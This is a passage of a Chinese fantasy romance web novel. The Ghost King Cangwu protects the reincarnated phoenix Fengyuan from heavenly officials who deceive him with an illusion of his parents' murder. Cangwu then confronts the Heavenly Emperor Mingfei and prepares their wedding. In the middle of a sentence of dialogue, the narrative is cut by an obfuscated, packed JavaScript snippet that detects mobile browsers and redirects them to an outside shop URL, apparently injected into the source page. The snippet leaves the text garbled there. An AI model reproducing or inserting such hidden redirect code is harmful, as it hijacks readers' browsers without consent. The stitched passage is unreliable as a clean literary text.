天帝的目光落在明霏身上,带着审视。他岂会不知明霏的心思?但此刻,这确实也是一个说得过去的理由。 “准。”天帝终于开口,“明霏,你率三千天兵,前往西南。记住,你的任务是‘策应’,监控局势,确保异动不会蔓延。至于凤渊……”他顿了顿,语气冰冷,“他的剑上已被施下敕令,无论是否成功击败西南异兽,剑都会失控。” 这话语中的深意,让明霏心中一寒。 天帝让他坐观成败,甚至在必要时,落井下石?他袖中的手悄然握紧,指甲陷入掌心。 “臣……遵命。”明霏垂下眼睑,掩去眸中复杂的挣扎。 他不能看着凤渊送死。 他也不想凤渊跟苍梧在一起。 所以,他在天帝那里偷到解敕令的咒语,希望危机时刻可以救凤渊,让凤渊看见他的强大。谁知道,凤渊发疯后,十分凶残,面对这样的凤渊,他一紧张忘了解除的咒语,才让凤渊入了魔,被剑上的敕令彻底控制。 - 三日后,凤渊去西南方的前一天。 一只通体漆黑的冥鸦悄无声息地滑翔而至,口中衔着一个巨大的、散发着幽幽寒气的玄玉宝盒,恭敬地放在他面前。 “陛下遣我送来。”冥鸦口吐人言,声音嘶哑,说完便化作一缕黑烟消散。 凤渊心中微动,指尖轻触那玄玉盒盖。盒子无声滑开,里面并非他想象的法器或珍宝,而是一套折叠得整整齐齐的衣物。 他轻轻展开——竟是一套喜服。 浓郁的墨黑在天光下流淌着漂亮的光泽,如同深邃的夜空。衣襟、袖口用银线绣着繁复的缠枝彼岸花纹路,银色与墨黑交织,既庄重又神秘。 喜服用的料子是鬼界独有的月华纱,却又织入了凤凰羽独有的金红细绒,使得整件衣袍在不动时如夜,行动间便会有金红光华流转,仿佛暗夜中悄然跳跃的火焰。 这并非传统的喜庆红色,却处处透着苍梧的风格——霸道,神秘,又在这份独属于鬼界的审美中完美地融入了属于凤凰的元素。 凤渊正看着喜服出神,几只胆子大的小鸟已经扑棱着翅膀飞了过来,好奇地围着这从未见过的华丽衣袍。 “大人,大人!这是新衣服吗?好漂亮呀!”一只翠羽雀叽叽喳喳地叫道。 “是黑色的!像夜晚一样!上面还有亮亮的花纹!”另一只青鸟用小脑袋蹭了蹭光滑的衣料。 凤渊笑了笑,在几只小鸟的簇拥下,走到林间清泉边。他褪下常服,换上了这套墨色喜服。尺寸竟是分毫不差,极其合身,将那劲瘦的腰身与修长的身形完美勾勒出来。墨色衬得他肤色愈发白皙,而那暗藏的金红流光,又与他眼底天生的银色微光隐隐呼应。 他刚系好最后一根衣带,几只负责梳理的小雀便迫不及待地飞到他肩头、发间,用喙和爪子小心翼翼地帮他整理那头流泻的黑发。 既然成婚,就应该用真身。 光影变幻,凤渊露出罕为人见的真身,红发银眸,墨衣华冠,漂亮的不可方物。 “大人穿这个真好看!”小雀一边忙活一边真心实意地赞美。 “比天上的云霞还好看!” “像……像星星落在黑夜里的样子!”另一只词汇量贫乏的小鸟努力形容着。 凤渊任由它们摆弄,看着水镜中那个既熟悉又有些陌生的自己。墨色让他平日的清冷多了几分沉静与威严,而那暗涌的金红又赋予了他一丝不同于往日的、近乎妖异的神秘风华。 “是他让你们来的?”凤渊轻声问,指尖拂过衣袖上精致的银色绣纹。 “是呀是呀!”小鸟们争先恐后地回答,“黑乎乎的大人……啊不,是苍梧大人前几天就准备好啦!还特意嘱咐我们,今天一定要帮大人打扮得漂漂亮亮的!” “他还说,大人穿这个一定最好看!” 凤渊听着耳边叽叽喳喳的情报,想象着苍梧背着他偷偷准备这一切,甚至“收买”他林中小鸟的模样,眼底不禁漾开温暖的笑意。那笑意冲淡了墨色带来的冷峻,让他整个人都柔和下来,仿佛冰川融化,春水荡漾。 他站在梧桐树下,墨色喜服与身后苍劲的树干,头顶金红的叶片形成一幅极具冲击力的画面。他不是被夜色吞噬,而是成为了这夜色中最耀眼、最温暖的存在。 苍梧看着那个在斑驳光影下,身着喜服,正被小鸟们围绕着、眉眼含笑的凤渊,紫眸中是几乎要满溢出来的爱意与满足。 凤渊也正好看过来,张开手转了一圈,似乎在问他好不好看。 苍梧道:“我的小凤凰穿什么都好看。” 凤渊道:“苍梧,等我回来,我们就成婚。” 苍梧点头:“等你回来,我们就成婚。” 凤凰,此去逢凶化吉,遇难成祥。 画卷徐徐合上。 卷尾末端留着一行小字—— 当你看到这里,请你一定要记起:你真的真的很爱苍梧。 云霁白不知何时落了泪。 19. 离间 画卷徐徐合上。 卷轴末端,一行金灿灿的十分显眼的字映入眼帘—— 当你看到这里,请你一定要记起:你真的真的很爱苍梧。 云霁白不知何时已泪流满面。 那泪水滚烫,仿佛带着灼人的温度,从他眼角不断滑落,砸在紧握卷轴的手背上,心口处传来无法忽视的绞痛,像是刀子剜进心口。 无数纷乱的画面涌入脑海。 燃烧的梧桐林,遍地的残羽;众仙冷漠或贪婪的嘴脸;凌霄殿上疏离与背叛;还有,黑暗无边却因一人而变得温暖的鬼界;苍梧那双总是盛满了他身影的紫眸,笨拙却真挚的讨好,小心翼翼的守护,以及那句回荡在耳边的誓言—— “你进一步,有本王在身后;你退一步,有整个鬼界。” 最后,所有的画面定格在西南吞噬一切的业火之前,问情剑刺目的反光,以及苍梧撕心裂肺的呼喊:“凤凰!!” “啊——!”云霁白猛地抱住脑袋,发出一声痛苦的低吟,身体里仿佛有两股力量在激烈交战,属于云霁白的认知正在寸寸碎裂,而属于凤渊的记忆与情感正如潮水般汹涌回归。 不,他不是凤渊。 他不能是。 他有家,有等他回去的父母,有从小玩到大的伙伴,活了二十多年、难以割舍的感情,那些成长的烦恼,那些鲜活的喜怒哀乐……难道都是镜花水月,都是虚假的泡影? 多么荒谬! 一个人走来告诉他,你二十多年的人生是假的,你的亲人、你的记忆、你的存在,都是假的!然后要他坦然接受一个陌的身份,背负他完全不知道的宿命与恩怨? 凭什么?! 上一辈的爱恨情仇,凭什么要他来承担? 他是云霁白,他只是云霁白!他还要回到他的世界,他的生活里去! 那种来自灵魂深处的、对自我即将被抹杀的恐惧,远比□□的疼痛更让他战栗。他死死守着意识最后一片清明,如同溺水者抓住最后一根浮木,拼命挣扎着。 找苍梧。 苍梧一定什么都知道。 对,他要去找苍梧问个清楚。 对过往的痛楚,对真相的渴望,交织成一股无法抗拒的洪流,推动着他。他甚至来不及细细整理脑海中那些混乱的碎片,只有一个念头无比清晰——见苍梧,现在,立刻! 云霁白拿着幽冥令,凭着记忆,寻到了通往幽冥殿的路径。他穿过阴阳交界处那混沌的迷雾,无视了沿途游魂野鬼的窥探,心中只有一个明确的目的地——鬼界核心,苍梧所在的幽冥殿。 殿内比记忆中更加冷清,弥漫着一种难以言喻的沉重与寂寥。幽蓝色的鬼火在墙壁上跳跃,映照出空旷大殿中央,那个背对着他,孤寂地坐在王座上的身影。 是苍梧。 仅仅一个背影,云霁白的心脏便像是被狠狠攥住,酸涩与喜悦交织,几乎让他落下泪来。他张了张嘴,那个在唇齿间辗转了千百遍的名字即将脱口而出—— 然而,就在这时,异变陡生! 王座之上的苍梧似乎感知到了他的到来,缓缓转过身。 那一瞬间,云霁白对上了那双经常凝望他的紫眸。可那双眼眸中,此刻却没有他熟悉的温柔、霸道或哪怕是愤怒,只有嗜血的疯狂与杀意! “苍……”云霁白的声音卡在喉咙里。 他看见苍梧抬起手,掌心之中,凝聚着足以撕裂魂魄的灵力。而在苍梧的脚边,赫然倒着两具身影——那身影,即使隔着遥远的距离和朦胧的光线,云霁白也能够一眼认出,太熟悉了,那身影是在太熟悉了。 那是……父亲云于天和母亲裘凰的身影!他们面色惨白,双目紧闭,没有一丝生机,如同两片枯萎的落叶,无声无息地躺在冰冷的鬼殿地面上。 “不……不可能……”云霁白踉跄后退,瞳孔骤缩,脑海中一片空白。 就在他不敢置信的目光中,苍梧嘴角勾起一抹冰冷残酷,完全陌生的弧度,掌心一团毁灭性的鬼力,带着碾碎一切的气势,毫不犹豫朝着地上奄奄一息的身影落下! “不!!!” 云霁白发出一声撕心裂肺的嘶吼,眼前的一切仿佛被血色浸染。前世父亲和爹爹战死沙场的画面与眼前这残酷的一幕疯狂重叠,那种失去至亲的锥心之痛再次将他贯穿! 他眼睁睁看着那团鬼力吞噬了父母的身影,看着他们在幽暗的光芒中一点点消散,如同被风吹散的沙砾。 “为什么……苍梧……为什么?!”他几乎是凭借着本能嘶吼出声。 刚刚复苏的记忆在剧烈震荡,对苍梧深沉的爱与眼前这血腥残酷的景象形成了毁灭性的冲击,几乎要将他的灵魂撕裂。 “为什么!?为什么!?我已经很听话了!你为什么还要杀了我的父母!?为什么!到底为什么!?”云霁白无能怒吼,脖颈青筋暴起。 王座上的苍梧缓缓收手,紫眸中的疯狂与冰冷丝毫未减,甚至带着俯视蝼蚁般的漠然,看向在崩溃边缘的云霁白。 这一刻,云霁白只觉得天旋地转,他身体里的力量仿佛被瞬间抽空,支撑着他来到此地的勇气和决心荡然无存,只剩下无边的寒冷与绝望。 他仿佛坠入了另一个更深、更黑暗的深渊。 是记忆中最爱他的人亲手将他推了下去。 他踉跄着,视线被泪水模糊扭曲,只能死死盯着王座上那个熟悉又陌生的身影,以及他脚下父母身影消散后空荡荡的,仿佛还残留着灵魂碎片的地面。 心脏像是被无数冰锥刺穿,痛得他几乎无法呼吸。 “为什么……?”他再次喃喃,声音嘶哑,“苍梧……你告诉我……为什么?!为什么要那么做!为什么?他们可是活生生的人啊!你的心为什么那么狠啊!” “什么为什么?”提着灯的若辰被莫名其妙的嘶喊吓了一大跳,看着拿着空白卷轴的云霁白,不明白他为何会对空白卷轴看的那么痴迷,更不明白他在吼什么。 云霁白双目失神,紧紧攥着卷轴无力嘶喊,泪也越流越多,似乎流不干。 若辰看着他这副模样,心中骇然,不敢耽搁,转身化作一道流光,以最快的速度冲向幽冥殿。 苍梧正阖眸坐于王座之上,听着下面的仙人用重复无聊的措辞求他加固封印。 真是无聊,无趣。 也不知道他的小凤凰玩得开不开心。 殿内死寂,唯有幽蓝鬼火跳跃,映照着他眉宇间化不开的阴郁。 “僵持这么久,鬼王不想加固封印,莫非是想让焚煞出世,为祸三界吗?” 苍梧单手支着下巴,缓缓睁开眼睛,笑着看向说这话的小仙人:“是又怎样?” 笑中的冷意直达心底,让人毛骨悚然。 小仙人不敢多言,默默躲到司命星君身后。 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另一名仙官上前一步,并未立刻强行带走云霁白,而是目光复杂地看着他,语气带着一种刻意营造的沉痛:“凤渊上神……您受苦了。您可知,当年西南一战,您并非力竭陨落,而是……而是遭了暗算!是鬼王苍梧,他与吞噬一切的焚煞早有勾结,是他亲手将您推入了万劫不复之地!他如今将您困于此地,不过是畏惧您恢复记忆后,找他清算旧账!” 两名仙官一唱一和:“画卷里的内容不是真的,没人蠢到不记得自己的爱人,卷尾的提醒明显是用来混淆您对苍梧的感情的。” “当年,苍梧为了战功,将您封印,夺了本该属于您的荣耀。谁曾想那鬼王野心不止于此,竟然对您的梧桐林出手,焚烧梧桐林,大火燃了七天七夜,群鸟死亡,一个活口未留。为的就是斩草除根。” 这颠倒黑白的指控,如同又一记重锤,狠狠砸在云霁白本就混乱不堪的记忆上! 刚刚经历父母惨死的幻象,对苍梧的信任本就摇摇欲坠,此刻再听闻这指向明确的真相,云霁白瞳孔骤缩,呼吸猛地一窒。 属于凤渊的记忆疯狂涌动——西南冲天的业火,焚烧的梧桐林,群鸟的惨叫,坠落时难以置信的回眸,以及苍梧撕心裂肺的呼喊……那呼喊,是真是假?是悲痛,还是假情假意? “不……不可能……”云霁白喃喃自语,理智在崩溃的边缘徘徊。 “上神!事实俱在!莫要再被这鬼王迷惑!随我等回仙界,天帝定会为您主持公道!”仙官见状,立刻加重语气,同时手中仙诀亮起,便要趁他心神失守之际强行带人! 就在那仙光即将触及云霁白的刹那—— “本王允许你们碰他了吗?” 冰冷的声音如同惊雷乍响。 整个幽冥阁的温度骤降,浓郁的煞气瞬间覆盖了仙官身上散发的气息!空间凝滞,那两名仙官的动作僵在半空,脸上血色尽褪,只剩下面对绝对力量碾压时的骇然。 一道玄色身影,悄无声息地出现在云霁白身前,将他完全护在身后。 苍梧甚至未曾瞥那两名仙官一眼,他微微侧头,紫眸低垂,目光落在身后神情痛苦、濒临崩溃的云霁白身上。 那眼神深处,翻涌着足以焚尽三界的怒火,以及一丝被最重要之人怀疑时,那无法言喻的刺痛。 但当他再抬眼望向仙界来人时,眸中只剩下睥睨万物的森然杀意。 “想在鬼界,”他薄唇微启,每个字敲打在仙官的心神之上,“带走本王的人?” 20. 狂妄 “谁给你们的权利?” 他们连开口辩驳的机会都没有,只觉得神魂都要在强大的威压下碎裂! 苍梧缓缓抬手,指尖鬼气缭绕,并未直接攻击仙官,而是轻轻一拂。 咔哒一声轻响,若辰施在云霁白身上的束缚咒应声而碎。 失去了支撑,云霁白身体一软,向一旁倒去,却被苍梧手臂一揽,稳稳接入怀中。那姿态,是绝对的占有。 他感受着怀中人冰冷而颤抖的身体,心中的暴戾达到顶峰。他抬起眼眸,终于正式看向那两名面无人色的仙官,声音不高,却如同索命梵音,回荡在死寂的回廊中:“回去告诉天帝。” “本王今日要亲自到访仙界。” 话音落下,不再给仙官任何反应的机会,磅礴鬼气卷起他与意识昏沉的云霁白,瞬间消失在原地。 鬼气裹挟着两人,瞬息间回到森严寂静的幽冥殿。苍梧并未将云霁白安置在别处,而是直接带回了自己的寝殿。 他将怀中依旧失魂落魄的人轻轻放在宽大床榻上,云霁白像是被抽走了所有力气,蜷缩着身体,只有肩膀还在无法自控地微微颤抖,泪水无声地浸湿了身下的布料。 “苍梧……为什么要杀我爹和我娘……为什么要杀我……” 苍梧站在床边,高大的身影在幽暗的光线下显得格外压迫。他没有立刻出声安慰,只是紫眸沉沉地凝视着他,眼底翻涌着极为复杂的情绪。 殿内死寂,只有云霁白压抑的、细微的抽泣声。 良久,苍梧才缓缓在床边坐下,伸出手,指尖带着一丝微不可查的迟疑,轻轻拂去云霁白眼角不断溢出的泪水。 “……是幻象。”苍梧开口,声音低沉。 云霁白没有回应,依旧沉浸在那巨大的悲痛中,仿佛没有听见。 看着这样的云霁白,苍梧心中一阵烦闷:“看着本王,阿渊。”他的语气带着命令式的强硬,却又带着一丝不易察觉的诱哄,“你信他们,还是信本王?” 云霁白的眼神微微晃动了一下,焦距艰难地汇聚在苍梧脸上。这张脸,与幻象中那个冷酷残忍的凶手重叠,却又与记忆深处那个为他可以倾尽所有的身影交织。 混乱,撕扯,让他痛苦地闭上眼。 “我……我不知道……”他声音沙哑破碎,“我看到……你杀了他们……就在那里……”他伸手指向别处,指尖颤抖。 “假的。”苍梧斩钉截铁,紫眸中燃烧着冷焰,“你的父母,此刻正在人间界,安然无恙。若你不信,本王即刻便可让你看到他们现状。” 他话音未落,周身鬼雾微微涌动,一面由纯粹鬼气凝聚的水镜便出现在床边,镜面波纹荡漾,渐渐显现出人间景象—— 父母确确实实活着。 云霁白猛地睁大眼睛,死死盯着水镜中的父母。 “呃……”他喉咙里发出一声哽咽,身体脱力般软倒。 苍梧挥手散去水镜,俯身靠近他,两人距离极近,呼吸交织在一起。他凝视着云霁白逐渐恢复清明的眼眸,一字一句,清晰无比地说道:“本王从不会骗你。” 他抬手,掌心覆上云霁白冰冷汗湿的额头,温和的力量缓缓渡入,安抚着他的灵魂。 云霁白感受着额间传来的带着苍梧独特气息的温暖力量,看着近在咫尺的苍梧…… 他闭上眼,任由最后一点紧绷的神经松懈下来,情绪的大起大落让他意识逐渐模糊。在陷入沉睡的前一刻,他极轻地呢喃了一声,不知是喊给谁听:“……苍梧……” 听到这声无意识的低唤,苍梧覆在他额间的手微微一顿,紫眸中翻涌的暴戾瞬间化为几乎能将人溺毙的温柔。 他俯下身,极轻地,如同触碰稀世珍宝,在云霁白的前额落下一个吻。 “睡吧。”他低语,“本王陪着你。” 苍梧留下一个分身,守着云霁白。 幽冥殿内杀意未散,玄色身影一步踏出,直抵九重天。 千年过去了,天帝早已不是当年的天帝。现在的天帝是明霏。当年,恐怕天帝都没想到,谋权篡位的不是位高权重的凤渊,而是懦弱温润的明霏。 明霏善于伪装,工于心计,是一个城府颇深的人。 此刻他褪去当年的温润,一身华服端坐于至高御座,下方众仙罗列,一派庄严肃穆。然而,这庄严在下一瞬被蛮横撕裂! 没有任何通传,没有半分预兆,磅礴的鬼气瞬间入侵整个仙界!整个凌霄殿剧烈一震,琉璃瓦响,玉柱嗡鸣! 苍梧的身影在翻涌的鬼气中凝实,玄衣白发,紫眸如万古寒冰,他孤身立于大殿中央,周身散发的鬼气让修为稍浅的仙官几乎站立不稳,脸色煞白。 他甚至未曾扫视众仙,冰冷的目光如同两柄利剑,直刺御座之上的天帝。 “一千年。”苍梧开口,仿佛一个平常不过的招呼,“许久不见。” 明霏面色不变,冕旒下的目光深沉如渊:“鬼王不请自来,擅闯凌霄殿,是否太过无礼?” “礼?”苍梧唇角勾起一抹极冷的弧度,尽是讥讽,“你仙界的人到我鬼界抢人就是注重礼节?” 明霏脸上一派肃然:“鬼界的人?我没记错的话,凤渊在仙界一直留有神位,是我仙界的人。不过下凡历劫百年,怎么就成你的人了?” 苍梧道:“下凡历劫?亏你说的出口。” 明霏目光闪烁,笑里藏刀:“如果鬼王亲自来讨论西南凶兽事宜,维护三界和平秩序,仙界乐意敞开大门恭迎您的到来。但如果,鬼王来讨论这些没有意义,无关痛痒的小事,我想就算我同意,仙界众人也未必服气,反而还会觉得堂堂鬼王因小失大,以私废公。” 苍梧冷笑一声:“别跟我说那些没意义的废话。我来就一件事,凤渊已与我结契,是死是活与你们仙界无关,若是再让我发现你们打他的主意,小心我连以前的旧账一起清算。” “明霏,欠下的债总要还的。” “就算你不还,本王也会悉数讨回。” 鬼契就相当于人和木偶的关系,人负责提线,令木偶动;木偶由线牵引,做出各种各样的动作。 不同的是,鬼契是鬼控制人的尸体。 这是苍梧在迷惑他们,并未将凤渊复活的消息透露出去。 此言一出,众人皆惊。 小声议论。 “凤渊战神不是被鬼王亲手封印了吗?怎么可能下凡历劫。” “千年前,凤渊战神背叛仙界,杀害无辜生灵,是鬼王和司命星君两人联手才把战神镇压,封印在西南方。” “封印现在尚未解开,战神的身体怎么可能在外面?又怎么可能跟鬼王结契。” “另外!鬼王也太猖狂了吧!竟然敢威胁天帝!是不把天道,天谴放在眼里吗!” …… 苍梧一记冷眼看过去,众人纷纷禁声。 他们心知肚明,这件事不论在仙界还是在鬼界,都是禁忌。 司命星君忍不住上前一步,语气带着劝阻与一丝不易察觉的急切:“鬼王!此事或有误会,仙界的人怎么可能到随意进出鬼界并抢人呢?而且,没有人会蠢到用真实身份光明正大抢人吧。” “误会?”苍梧紫眸微转,落在最末端的几个仙官身上,那目光中的寒意几乎将人冻结,“用幻术折磨他是误会?幻化成本王的模样杀了他的亲人是误会?在他心神最脆弱时强行掳人是误会?” 他每问一句,周身鬼气便汹涌一分,大殿内的压力骤增。 “若非本王及时赶到,他会怎么样?嗯?”最后一个音节带着滔天的怒火,震得众仙神魂不稳,“你们仙界的人个个有情有义,现在却无情到连个尸体都不肯留给本王。” 安静片刻,明霏终于开口,声音依旧平稳,却带上了属于仙界之主的威仪:“先不说这事的荒谬之处。如果真是仙界的人亦当按天规律法处置,交由司法天神审讯定罪,而非由你鬼界私刑处置!” 苍梧像是听到了什么天大的笑话,他缓缓抬起手,掌心之中,仿佛能吞噬一切鬼气在静静盘旋,散发出令万物终结的恐怖气息。 “明霏,”他直呼其名,紫眸中的疯狂与睥睨毫不掩饰,“你是在跟本王讲规矩?你别忘了,仙界几乎每千年权利就会更迭一次,而鬼界的主人自始至终都是本王。死人永生,本王才是生死的规则。” 他向前踏出一步,整个凌霄殿随之暗沉,仿佛光线都被他吞噬。 “本王要他死,谁敢阻拦?” 他反问,声音低沉而危险,如同毒蛇吐信,“这三界,能做的不该做的,本王哪一样没做过?” 他的目光扫过脸色发白的众仙,最终回到天帝脸上,带着一种近乎残忍的平静:“擅自留魂,搅乱轮回,打破阴阳平衡……哪一桩,不够本王被天道泯灭千万次?” “可本王,依旧站在这里。” “杀你仙界一两个不长眼的东西,”他顿了顿,掌心那缕鬼气骤然暴涨,语气轻描淡写,“算什么?” “今日就算他们神形俱灭,天道也不会知道。” 最后五个字,如同最终的审判,带着毋庸置疑的宣告。 “是本王动手,还是你们主动交人?” 凌霄殿内,气氛压抑到了极点。 那两名擅闯鬼界的仙官直接跪在地上,大声喊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908450|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求饶。 众仙屏息,目光在御座之上面色变幻的天帝与殿中央煞气冲天的鬼王之间逡巡,每一秒都漫长而煎熬。 盘旋在苍梧掌心的鬼气,如同活物般微微扭动,似乎正伺机而动。 明霏端坐于御座,华服之下的手指微微蜷紧,指节泛白。他能感受到苍梧那毫不掩饰的杀意,他低估了凤渊在苍梧心中的分量。 仙鬼两界本是不可扰乱的阴阳平衡。 一直以来,两界都遵守天道规则,互不打扰,各守一方。他以为就算他真的把凤渊怎么样,碍于天罚,苍梧也会睁一只眼,闭一只眼,没想到苍梧竟然会直接杀上九重天要人。 不过,幸好,他早有准备。 明霏看向司命星君。 司命星君会意,拿出早就准备好的措辞,应付苍梧,空手变出手持命簿,越众而出:“且慢。” 苍梧紫眸微转,落在司命星君身上,未发一言,但掌心的死气微微凝滞,显然在等他的下文。 司命星君翻动空白命薄,声音清晰:“鬼王请息怒。那两名仙官擅闯鬼界,行事鲁莽,触犯鬼王逆鳞,实为大罪,按律当严惩不贷。” 他话锋一转,目光扫过那两名瘫软在地、面如死灰的仙官,继续道:“天帝贵为一界之主,主张两界和平,定不会做破坏阴阳平衡的事。他们二人定是受人暗中引导,借探查西南异动之名,行此挑衅之事。” 苍梧眼中闪过一丝冰冷的玩味:“哦?引导?我倒是想知道谁那么大的本事竟能指使仙界的人。” 司命星君颔首,手中命簿无风自动,泛黄的书页上浮现出几行模糊却蕴含天机的文字:“据小仙推算,此事背后,确有第三股势力插手,其目的,正是欲借陛下之手,挑起仙鬼两界大战,坐收渔利。此招虽险,胜算却大,一旦得逞,两界开战,定会两败俱伤。” 他抬眸,直视苍梧:“鬼王若此刻将其神形俱灭,固然快意,却也正中幕后黑手下怀。不若……暂留其性命,交由仙界司法天神严加审讯,或可顺藤摸瓜,揪出真正元凶。届时,是杀是剐,再交由鬼王定夺,亦不为迟。” 这番话,有理有据,既给了仙界台阶,也点明了更大的隐患,更是将最终处置权隐晦交还到苍梧手中。 安静。 窒息。 苍梧冷笑一声:“既然能受人指使,说明已有二心。既是叛徒,留着又有何用?不如让本王替你们清理门户。” 司命星君咽了一口唾沫,没想到苍梧竟然这么不留情面。 仙官跪着爬到天帝脚下,大声喊着饶命,其中一位更是哭得泪眼模糊,连话都说不清楚。明霏正欲开口说话,却见跪在地上的仙官瞬间没了气息。 苍梧手中的鬼气迅速窜出,直击跪在地上大喊饶命的仙官。眨眼间,形神俱灭,连头发丝都没留下。 是魂飞魄散,各种意义上的消失。 苍梧淡定拂了拂身上不存在的灰尘:“不必客气。” “既然叛徒已清理,本王不再便逗留。” 玄色身影被翻涌的鬼气包裹,如同他来时一般突兀,瞬间消失在凌霄殿内,只留下那令人心胆俱寒的余音。 “若再有下次,那就是天帝无能。” “本王不介意插手,让仙界易主。” 嚣张至极,狂妄至极。 明霏宽袖下的手握成拳头,这是明目张胆的挑衅,比千年前更加狂妄。 千年前,凤渊被苍梧的封印后。 苍梧也是这样气势汹汹杀上九重天,询问一个真相。 有个上神问苍梧:“鬼界的人有什么资格管仙界的人?” 苍梧微微勾唇,抬起手轻轻打了个响指,那上神当场身魂分离,身死,魂在。 苍梧反问他:“现在本王有资格管你了吗?” 上神死了。 变成鬼了。 鬼王当然有资格管。 苍梧道:“本王要你灰飞烟灭。” 上神瞬间没了。 事后,苍梧受了雷劫,险些丢了半条命。 天道为了惩罚苍梧,设下天雷劫,鬼王苍梧没有天帝召令不踏入仙界半步,否则十万雷劫劈下,不死也残。 本以为经过这事苍梧会收敛,没想到,千年后更嚣张了,竟然扬言要替仙界易主。明霏握紧拳头,嘴角扬起阴森的弧度,可惜……苍梧把自己的弱点暴露的太早了。 凤渊的三魂七魄尚未稳固,他有的是机会趁虚而入。更何况,他手里还有千年前从凤渊那里得到的东西。 凤渊淡泊名利,不在意,可是苍梧爱他,苍梧在意。 他有把柄足以威胁苍梧。 21. 成婚 苍梧从仙界返回,踏入幽冥殿的那一刻,,分身瞬间融入本体。他第一时间看向床榻——云霁白依旧沉睡着,呼吸平稳,眉宇间那片笼罩的阴霾似乎散去了些许,但脸色依旧苍白。 他走上前,指尖极轻地拂过云霁白的脸颊,感受着微凉的温度,紫眸中翻涌着未散的戾气与担忧。 他知道凤渊的复活瞒不住了,仙界的人知道了。 接下来,他必须防着仙界的人过来抢人。 这种事情,绝不会出现第二次。 他必须仙界的人出现之前和云霁白结契,确保云霁白成为鬼界的人,这样云霁白就可以共享他的寿命,仙界的人也无法抢走他。 撑到封印解封就好。 只要封印解封,本王就能还凤渊一个清白。 阿渊……受苦了。 苍梧在床边坐下,握住云霁白微凉的手,俯下身去,贴着云霁白的唇,雾似的魂气从嘴中吐出,渡到云霁白嘴里,滋养着他受损的魂魄,同时也是一种安抚。 时间在寂静中流逝。 不知过了多久,榻上的人睫毛微颤,发出一声极轻的嘤咛。 苍梧立刻收敛了周身所有冷冽的气息,紫眸专注地凝视着他。 云霁白缓缓睁开了眼睛,神色中还带着刚醒的迷茫与一丝未散去的惊悸。 “……苍梧?”他声音有些沙哑,带着不确定。 “嗯,我在。”苍梧应道,声音是他自己都未察觉的柔和。 云霁白眨了眨眼,之前的记忆如同潮水般回涌——仙官的指控,亦真亦假的画面,苍梧的誓言,水镜中安然无恙的父母…… 他也不知道自己该不该相信眼前这个看起来阴狠暴戾的鬼王。 “我……”他张了张嘴,想说什么,却又不知从何说起。 “无需多想。”苍梧打断他,指腹摩挲着他的手背,“再过几日,我们成婚可好。” 虽是询问的语气,却带着某种笃定,让云霁白无法反抗。 他本来也无法反抗。 云霁白露出一个苍白的笑容:“一切都听大人的。” 疏离的语气让苍梧微微蹙眉。 “好好修养。”苍梧几乎狼狈走出幽冥殿。 接下来的几日,鬼界一直在处理两件事。 一是鬼王的婚礼,二是云于天和裘凰的死。 幻境半真半假,云霁白的父母确实死了,不是苍梧动的手,而是,有心之人幻化成苍梧的模样,当着云霁白的面杀了云霁白的父母。 云霁白没有法术,自然也无法识破幻术。 他会信以为真。 因为十次轮回,轮回的次数太多,魂力被削弱的太厉害,魂体不稳定,受到刺激极其容易魂飞魄散。 云霁白现在就处于这种情况,苍梧害怕他承受不了父母死亡的真相,所以一直瞒着云霁白。 不过,苍梧也在寻找云霁白父母的魂魄。如果是普通的凡人也就好了,魂魄很容易找到。问题就出在这上面,不是普通的凡人,而是凤渊父亲和爹爹的魂魄。 苍梧知道凤渊心中惦念父亲和爹爹,所以在轮回时,特地让他们做了十世亲人。十次轮回,魂力被削弱,气息微弱,凤于天和求凰的魂魄也不太好寻找了。 不过,让他意外的是,仙界竟然安静下来,没有任何动作。但他知道,明霏不会那么容易善罢甘休。 还有一件事,没有任何人知道,因为擅自插手仙界的事,苍梧又被雷劈了,十道天雷,又差点要了他半条命。 挨完劈,他还庆幸,幸好,命还在。 苍梧躲在密室里疗伤,身上留下的雷痕全都焦黑熟烂,伤痕边缘翻卷,狰狞可怕,其中最深的一道,从左肩胛骨斜劈至右侧腰腹,几乎可见森白的骨头。 苍梧眼中没有情绪,冰冷的视线扫过身上焦黑的死皮,随即抬手,修长的手指毫不留情插进伤痕里面,鲜血溢出,顺着手腕乡下流淌。 他硬生生将焦黑碳化的皮肉从自己身体上撕扯下来。没有半分犹豫,动作干脆利落得近乎残忍。 随着皮的掉落,整个背部的白骨彻底暴露在空气中。 紧接着,令人心悸的一幕发生了。 那些肉芽开始以肉眼可见的速度蠕动、生长。苍梧瞥了一眼新生的血肉,又开始撕其他地方的皮肉。 密室内,只剩下皮肉撕裂声、血肉生长声,以及压抑到极致的呼吸声。苍梧以一种近乎自虐的方式,处理掉身上的伤,只为能更快地恢复到足以守护云霁白的状态。 守在门外的若影听着撕裂声,幽幽叹道:“殿下这是何苦呢?您可以随便找个鬼到仙界通报,何必亲自到仙界一趟,受这天罚。” “属下发现,与凤渊战神有关的事,您总是格外的较真……” 他不认真的话,谁还给小凤凰撑腰呢。 苍梧清理掉堆积在一旁的皮肉,满意地看着新生的皮肤,很白,很细腻,不会吓到小凤凰。 七日后,鬼王大婚。 忘川河畔,彼岸花如火如荼地绽放,蜿蜒成一片绚烂的血色地毯。没有五官的游魂全都贴上了囍字,提着魂灯一字排开,无声的见证这场从未有过的盛大婚礼。 玄色与金红交织的装饰遍布殿宇,既庄重又诡谲,符合鬼界一贯的审美。 苍梧一身黑色喜服,上面用暗金丝线绣着繁复的金龙,紫眸流转着几乎要满溢出来的满足与深情。 他紧紧牵着云霁白的手,仿佛这一刻成了永远。 云霁白身着绣着凤凰图案的喜服,头顶着绣有龙凤呈祥的黑盖头。视野被一片黑色笼罩,耳边是幽冥特有的、空灵悠远的礼乐。他能感受到苍梧手心的温度,也能知道自己此刻呆若木鸡,任由他牵着自己。 鬼王的婚礼尤为不同,不同于凡间的三书六礼,没有那么繁杂。只需要苍梧从司仪的手中接过可以伤害鬼王的麒麟刃,然后刺入胸口即可。 